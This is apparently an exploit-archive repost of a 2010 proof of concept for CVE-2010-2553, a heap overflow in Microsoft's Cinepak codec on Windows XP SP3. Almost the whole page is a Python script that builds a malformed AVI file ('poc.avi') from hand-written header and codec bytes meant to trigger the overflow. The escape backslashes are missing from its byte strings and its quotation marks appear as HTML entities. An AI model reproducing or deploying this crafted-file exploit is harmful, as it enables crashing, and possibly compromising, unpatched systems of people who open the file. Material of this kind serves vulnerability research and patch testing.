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[dos / poc] - Microsoft Cinepak Codec CVDecompress Heap Over

Posted on 26 September 2010

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Microsoft Cinepak Codec CVDecompress Heap Overflow
==================================================

  Title             : Microsoft Cinepak Codec CVDecompress Heap Overflow
  Version           : iccvid.dll XP SP3
  Analysis          : http://www.abysssec.com
  Vendor            : http://www.microsoft.com
  Impact            : High
  Contact           : shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter           : @abysssec
  CVE               : CVE-2010-2553
  MOAUB Number      :
&#039;&#039;&#039;
 
 
import sys
 
def main():
 
    aviHeaders = &#039;x52x49x46x46x58x01x00x00x41x56x49x20x4Cx49x53x54xC8x00x00x00x68x64x72x6Cx61x76x69x68x38x00x00x00xA0x86x01x00x00x00x00x00x00x00x00x00x10x01x00x00x4Ex00x00x00x00x00x00x00x01x00x00x00x00x00x00x00x60x01x00x00x20x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x4Cx49x53x54x7Cx00x00x00x73x74x72x6Cx73x74x72x68x38x00x00x00x76x69x64x73x63x76x69x64x00x00x00x00x00x00x00x00x00x00x00x00xE8x03x00x00x10x27x00x00x00x00x00x00x4Ex00x00x00x20x74x00x00xFFxFFxFFxFFx00x00x00x00x00x00x00x00x60x01x20x01x73x74x72x66x28x00x00x00x28x00x00x00x50x01x00x00x20x01x00x00x01x00x18x00x63x76x69x64x84x8Dx00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00&#039;
    padding = &#039;x4Ax55x4Ex4Bx00x00x00x00x4Ax55x4Ex4Bx00x00x00x00&#039;
    movi_tag = &#039;x4Cx49x53x54x5Cx00x00x00x6Dx6Fx76x69x30x30x64x63x10x00x00x00&#039;
    cinepak_codec_data1 = &#039;x00x00x00x68x01x60x01x20&#039;
    number_of_coded_strips = &#039;x00x10&#039;
    cinepak_codec_data2 = &#039;x10x00x00x10x00x00x00x00x00x60x01x60x20x00x00x00x11x00x00x10x41x41x41x41x41x41x41x41x41x41x41x41x11x00x00x10x41x41x41x41x41x41x41x41x41x41x41x41x11x00x00x10x41x41x41x41x41x41x41x41x41x41x41x41x11x00x00x10x41x00&#039;
    idx_tag = &#039;x69x64x78x31x10x00x00x00x30x30x64x63x10x00x00x00x04x00x00x00x68x00x00x00&#039;
     
    avifile = open(&#039;poc.avi&#039;, &#039;wb+&#039;)
    avifile.write(aviHeaders)
    avifile.write(padding)
    avifile.write(movi_tag)
    avifile.write(cinepak_codec_data1)
    avifile.write(number_of_coded_strips)
    avifile.write(cinepak_codec_data2)
    avifile.write(idx_tag)
     
    avifile.close()
    print &#039;[-] AVI file generated&#039;
     
if __name__ == &#039;__main__&#039;:
    main()


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-26]</pre></body></html>

 

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